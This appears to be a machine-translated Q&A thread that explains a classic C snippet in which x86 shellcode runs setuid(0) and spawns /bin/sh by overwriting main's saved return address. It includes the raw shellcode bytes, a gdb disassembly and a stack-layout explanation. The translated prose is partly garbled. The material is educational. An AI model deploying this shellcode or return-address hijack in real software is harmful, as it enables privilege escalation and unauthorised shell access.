//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
有人能给我一个更好的解释吗?
答案 0 :(得分:23)
显然,此代码尝试更改堆栈,以便在main
函数返回时,程序执行不会定期返回到运行时库(通常会终止程序),但会跳转到代码中保存在shellcode
数组中。
1) int *ret;
在堆栈上定义一个变量,就在main
函数的参数下面。
2) ret = (int *)&ret + 2;
允许ret
变量指向位于堆栈上int *
以上int
两个ret
的{{1}}。据说,当main
返回时,返回地址位于程序将继续的位置。
2) (*ret) = (int)shellcode;
返回地址设置为shellcode
数组内容的地址,以便shellcode
返回时执行main
的内容。
shellcode
似乎包含可能进行系统调用以启动/bin/sh
的机器指令。我可能错了,因为我实际上并没有反汇编shellcode
。
P.S。:此代码依赖于机器和编译器,可能无法在所有平台上运行。
回复您的第二个问题:
如果我使用会发生什么 ret =(int)& ret +2我们为什么加2? 为什么不是3或4 ???我觉得那个 是4个字节,所以2个将是8个字节没有?
ret
被声明为int*
,因此为其分配int
(例如(int)&ret
)将是一个错误。至于为什么添加2而不是任何其他数字:显然是因为此代码假定返回地址位于堆栈上的该位置。请考虑以下事项:
此代码假定调用堆栈在向其推送时会向下增长(就像使用Intel处理器一样)。这就是为什么添加而不是减去的原因:返回地址位于比自动(本地)变量更高的内存地址(例如ret
)。
从我记忆中的英特尔组装日来看,C函数经常被这样调用:首先,所有参数都以相反的顺序(从右到左)被压入堆栈。然后,调用该函数。因此返回地址被压入堆栈。然后,建立一个新的堆栈帧,包括将ebp
寄存器推入堆栈。然后,在堆栈上设置局部变量,直到所有已经被推到它上面的位置。
现在我假设你的程序有以下堆栈布局:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
底部是ret
(这是一个32位整数)。上面是保存的ebp
寄存器(也是32位宽)。上面是32位返回地址。 (上面是main
的参数 - argc
和argv
- 但这些在这里并不重要。)当函数执行时,堆栈指针指向{{1 }}。返回地址位于“ret
以上64位,对应于
ret
+ 2
它是ret = (int*)&ret + 2;
,因为+ 2
是ret
,而int*
是32位,因此添加2表示将其设置为2×32位的内存位置( = {64})高于int
...如果上段中的所有假设都是正确的,那么它将是返回地址的位置。
游览:让我用英特尔汇编语言演示如何调用C函数 <(如果我没记错的话 - 我不是这个主题的大师所以我可能是错的):
(int*)&ret
在主内部,可能会发生以下情况:
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
另请参阅:有关此主题的其他说明的procedure call sequence in C说明。
答案 1 :(得分:19)
实际的shellcode是:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
这大致相当于
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
答案 2 :(得分:15)
该字符串来自缓冲区溢出的旧文档,并将执行/ bin / sh。因为它是恶意代码(当与缓冲区漏洞利用配对时) - 下次你应该真正包含它的来源。
在同一份文件中, how to code stack based exploits :
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
您包含的代码会导致执行shellcode []的内容,运行execve并提供对shell的访问权限。和Shellcode一词?来自Wikipedia:
在计算机安全中,shellcode是一个 用作的一小段代码 开发中的有效载荷 软件漏洞。它被称为 “shellcode”,因为它通常 从中启动一个命令shell 攻击者可以控制被攻陷者 机。 Shellcode通常是写的 在机器代码中,但任何一段代码 执行类似任务可以 叫做shellcode。
答案 3 :(得分:5)
在不查找要确认的所有实际操作码的情况下,shellcode
数组包含执行/bin/sh
所需的机器代码。这个shellcode是精心构造的机器代码,用于在特定目标平台上执行所需操作,而不包含任何null
字节。
main()
中的代码正在更改返回地址和执行流程,以使程序通过执行shellcode
数组中的指令来生成shell。
有关如何创建shellcode以及如何使用shellcode的说明,请参阅Smashing The Stack For Fun And Profit。
答案 4 :(得分:0)
该字符串包含一系列以十六进制表示的字节。
字节编码特定平台上特定处理器的一系列指令 - 希望是你的。 (编辑:如果它是恶意软件,希望不你的!)
定义变量只是为了获得堆栈的句柄。书签,如果你愿意的话。然后使用指针算法,再次依赖于平台,来操纵程序的状态,使处理器跳转并执行字符串中的字节。
答案 5 :(得分:0)
每个\ xXX是十六进制数。这些数字中的一个,两个或三个一起形成一个操作码(google for it)。它形成了可以或多或少地直接由机器执行的组装。此代码尝试执行shellcode。
我认为shellcode会尝试生成一个shell。
答案 6 :(得分:0)
这只是生成/bin/sh
,例如在C中像execve("/bin/sh", NULL, NULL);